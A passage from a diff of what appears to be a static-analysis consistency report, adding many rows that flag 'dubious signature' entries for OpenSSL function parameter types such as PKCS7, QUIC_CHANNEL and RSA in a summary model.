"(OSSL_RECORD_LAYER *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,int)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,int,int,const char *,...)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_STATM *,OSSL_RTT_INFO *)" in summary model. | +| Dubious signature "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_STORE_CTX *,int,va_list)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_attach_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_close_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_eof_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_error_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_expect_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_find_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_load_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn)" in summary model. | +| Dubious signature "(OSSL_STORE_LOADER *,OSSL_STORE_open_fn)" in summary model. | +| Dubious signature "(OSSL_TARGET *)" in summary model. | +| Dubious signature "(OSSL_TARGET **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TARGETING_INFORMATION *)" in summary model. | +| Dubious signature "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TARGETS *)" in summary model. | +| Dubious signature "(OSSL_TARGETS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_PERIOD *)" in summary model. | +| Dubious signature "(OSSL_TIME_PERIOD **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_ABSOLUTE *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_DAY *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_MONTH *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_TIME *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_WEEKS *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_X_DAY_OF *)" in summary model. | +| Dubious signature "(OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_USER_NOTICE_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(OTHERNAME *)" in summary model. | +| Dubious signature "(OTHERNAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OTHERNAME *,OTHERNAME *)" in summary model. | +| Dubious signature "(PACKET *)" in summary model. | +| Dubious signature "(PACKET *,BIGNUM *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *)" in summary model. | +| Dubious signature "(PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *)" in summary model. | +| Dubious signature "(PACKET *,PACKET *)" in summary model. | +| Dubious signature "(PACKET *,QUIC_PREFERRED_ADDR *)" in summary model. | +| Dubious signature "(PACKET *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)" in summary model. | +| Dubious signature "(PACKET *,int,OSSL_QUIC_FRAME_STREAM *)" in summary model. | +| Dubious signature "(PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint16_t **,size_t *)" in summary model. | +| Dubious signature "(PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,int *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,size_t *)" in summary model. | +| Dubious signature "(PACKET *,uint64_t *,uint64_t *)" in summary model. | +| Dubious signature "(PBE2PARAM *)" in summary model. | +| Dubious signature "(PBE2PARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBEPARAM *)" in summary model. | +| Dubious signature "(PBEPARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBKDF2PARAM *)" in summary model. | +| Dubious signature "(PBKDF2PARAM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PBMAC1PARAM *)" in summary model. | +| Dubious signature "(PBMAC1PARAM **,const unsigned char **,long)" in summary model. | | Dubious signature "(PCXSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(PCXSTR,const CStringT &)" in summary model. | +| Dubious signature "(PKCS7 *)" in summary model. | +| Dubious signature "(PKCS7 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7 *,BIO *)" in summary model. | +| Dubious signature "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)" in summary model. | +| Dubious signature "(PKCS7 *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PKCS7 *,PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(PKCS7 *,X509_CRL *)" in summary model. | +| Dubious signature "(PKCS7 *,const char *)" in summary model. | +| Dubious signature "(PKCS7 *,int)" in summary model. | +| Dubious signature "(PKCS7 *,int,ASN1_TYPE *)" in summary model. | +| Dubious signature "(PKCS7 *,int,long,char *)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)" in summary model. | +| Dubious signature "(PKCS7 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(PKCS7_DIGEST *)" in summary model. | +| Dubious signature "(PKCS7_DIGEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENCRYPT *)" in summary model. | +| Dubious signature "(PKCS7_ENCRYPT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENC_CONTENT *)" in summary model. | +| Dubious signature "(PKCS7_ENC_CONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ENVELOPE *)" in summary model. | +| Dubious signature "(PKCS7_ENVELOPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL *)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *,X509 *)" in summary model. | +| Dubious signature "(PKCS7_RECIP_INFO *,X509_ALGOR **)" in summary model. | +| Dubious signature "(PKCS7_SIGNED *)" in summary model. | +| Dubious signature "(PKCS7_SIGNED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *)" in summary model. | +| Dubious signature "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKCS7_SIGN_ENVELOPE *)" in summary model. | +| Dubious signature "(PKCS7_SIGN_ENVELOPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(PKCS12 *)" in summary model. | +| Dubious signature "(PKCS12 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)" in summary model. | +| Dubious signature "(PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *)" in summary model. | +| Dubious signature "(PKCS12 *,stack_st_PKCS7 *)" in summary model. | +| Dubious signature "(PKCS12_BAGS *)" in summary model. | +| Dubious signature "(PKCS12_BAGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_MAC_DATA *)" in summary model. | +| Dubious signature "(PKCS12_MAC_DATA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(PKEY_USAGE_PERIOD *)" in summary model. | +| Dubious signature "(PKEY_USAGE_PERIOD **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICYINFO *)" in summary model. | +| Dubious signature "(POLICYINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICYINFO *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(POLICYQUALINFO *)" in summary model. | +| Dubious signature "(POLICYQUALINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(POLICY_CONSTRAINTS *)" in summary model. | +| Dubious signature "(POLICY_MAPPING *)" in summary model. | +| Dubious signature "(POLY1305 *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(POLY1305 *,const unsigned char[32])" in summary model. | +| Dubious signature "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)" in summary model. | +| Dubious signature "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *)" in summary model. | +| Dubious signature "(PROFESSION_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)" in summary model. | +| Dubious signature "(PROFESSION_INFO *,stack_st_ASN1_STRING *)" in summary model. | +| Dubious signature "(PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CCM_CTX *,size_t,const PROV_CCM_HW *)" in summary model. | +| Dubious signature "(PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PROV_CIPHER *,const PROV_CIPHER *)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_CTX *)" in summary model. | +| Dubious signature "(PROV_CTX *,BIO_METHOD *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_CORE_BIO *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_FUNC_core_get_params_fn *)" in summary model. | +| Dubious signature "(PROV_CTX *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PROV_CTX *,const OSSL_CORE_HANDLE *)" in summary model. | +| Dubious signature "(PROV_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(PROV_CTX *,const char *,int)" in summary model. | +| Dubious signature "(PROV_DIGEST *,EVP_MD *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(PROV_DIGEST *,const PROV_DIGEST *)" in summary model. | +| Dubious signature "(PROV_DRBG *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(PROV_DRBG *,OSSL_PARAM[],int *)" in summary model. | +| Dubious signature "(PROV_DRBG *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_GCM_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(PROXY_CERT_INFO_EXTENSION *)" in summary model. | +| Dubious signature "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(PROXY_POLICY *)" in summary model. | +| Dubious signature "(PROXY_POLICY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(QLOG *,BIO *)" in summary model. | +| Dubious signature "(QLOG *,OSSL_TIME)" in summary model. | +| Dubious signature "(QLOG *,uint32_t)" in summary model. | +| Dubious signature "(QLOG *,uint32_t,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(QLOG *,uint32_t,int)" in summary model. | +| Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QRX *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QRX_PKT *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_STREAM *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,int)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,int,uint64_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_CHANNEL *,void *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,BIO *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,QUIC_URXE *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)" in summary model. | +| Dubious signature "(QUIC_DEMUX *,unsigned int)" in summary model. | +| Dubious signature "(QUIC_ENGINE *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,OSSL_TIME)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)" in summary model. | +| Dubious signature "(QUIC_ENGINE *,int)" in summary model. | +| Dubious signature "(QUIC_FIFD *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_FIFD *,QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)" in summary model. | +| Dubious signature "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_OBJ *)" in summary model. | +| Dubious signature "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)" in summary model. | +| Dubious signature "(QUIC_OBJ *,unsigned int)" in summary model. | +| Dubious signature "(QUIC_PN,unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_PORT *)" in summary model. | +| Dubious signature "(QUIC_PORT *,BIO *)" in summary model. | +| Dubious signature "(QUIC_PORT *,SSL *)" in summary model. | +| Dubious signature "(QUIC_PORT *,int)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,int)" in summary model. | +| Dubious signature "(QUIC_RCIDM *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_REACTOR *)" in summary model. | +| Dubious signature "(QUIC_REACTOR *,..(*)(..),void *,CRYPTO_MUTEX *,OSSL_TIME,uint64_t)" in summary model. | +| Dubious signature "(QUIC_REACTOR *,const BIO_POLL_DESCRIPTOR *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,const unsigned char **,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,int)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,size_t)" in summary model. | +| Dubious signature "(QUIC_RSTREAM *,unsigned char *,size_t,size_t *,int *)" in summary model. | +| Dubious signature "(QUIC_RXFC *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,OSSL_STATM *,size_t)" in summary model. | +| Dubious signature "(QUIC_RXFC *,QUIC_RXFC *,uint64_t,uint64_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,int)" in summary model. | +| Dubious signature "(QUIC_RXFC *,size_t)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,OSSL_TIME)" in summary model. | +| Dubious signature "(QUIC_RXFC *,uint64_t,int)" in summary model. | +| Dubious signature "(QUIC_SRTM *,const QUIC_STATELESS_RESET_TOKEN *,size_t,void **,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_SRTM *,void *,uint64_t,const QUIC_STATELESS_RESET_TOKEN *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,int)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,size_t)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *)" in summary model. | +| Dubious signature "(QUIC_SSTREAM *,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,int)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,size_t)" in summary model. | +| Dubious signature "(QUIC_STREAM_MAP *,uint64_t,int)" in summary model. | +| Dubious signature "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(QUIC_TLS *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)" in summary model. | +| Dubious signature "(QUIC_TSERVER *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,int,uint64_t *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint32_t)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(QUIC_TXFC *)" in summary model. | +| Dubious signature "(QUIC_TXFC *,QUIC_TXFC *)" in summary model. | +| Dubious signature "(QUIC_TXFC *,int)" in summary model. | +| Dubious signature "(QUIC_TXFC *,uint64_t)" in summary model. | +| Dubious signature "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)" in summary model. | +| Dubious signature "(RAND_POOL *)" in summary model. | +| Dubious signature "(RAND_POOL *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,size_t,size_t)" in summary model. | +| Dubious signature "(RAND_POOL *,unsigned char *)" in summary model. | +| Dubious signature "(RAND_POOL *,unsigned int)" in summary model. | +| Dubious signature "(RECORD_LAYER *,SSL_CONNECTION *)" in summary model. | +| Dubious signature "(RIO_NOTIFIER *)" in summary model. | +| Dubious signature "(RIPEMD160_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(RIPEMD160_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(RSA *)" in summary model. | +| Dubious signature "(RSA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int)" in summary model. | +| Dubious signature "(RSA *,BN_CTX *)" in summary model. | +| Dubious signature "(RSA *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(RSA *,RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(RSA *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(RSA *,const RSA_METHOD *)" in summary model. | +| Dubious signature "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)" in summary model. | +| Dubious signature "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)" in summary model. | +| Dubious signature "(RSA *,int)" in summary model. | +| Dubious signature "(RSA *,int,BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(RSA *,int,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,int,BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)" in summary model. | +| Dubious signature "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(RSA_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(RSA_METHOD *,const char *)" in summary model. | +| Dubious signature "(RSA_METHOD *,int)" in summary model. | +| Dubious signature "(RSA_METHOD *,void *)" in summary model. | +| Dubious signature "(RSA_OAEP_PARAMS *)" in summary model. | +| Dubious signature "(RSA_OAEP_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,int *,const 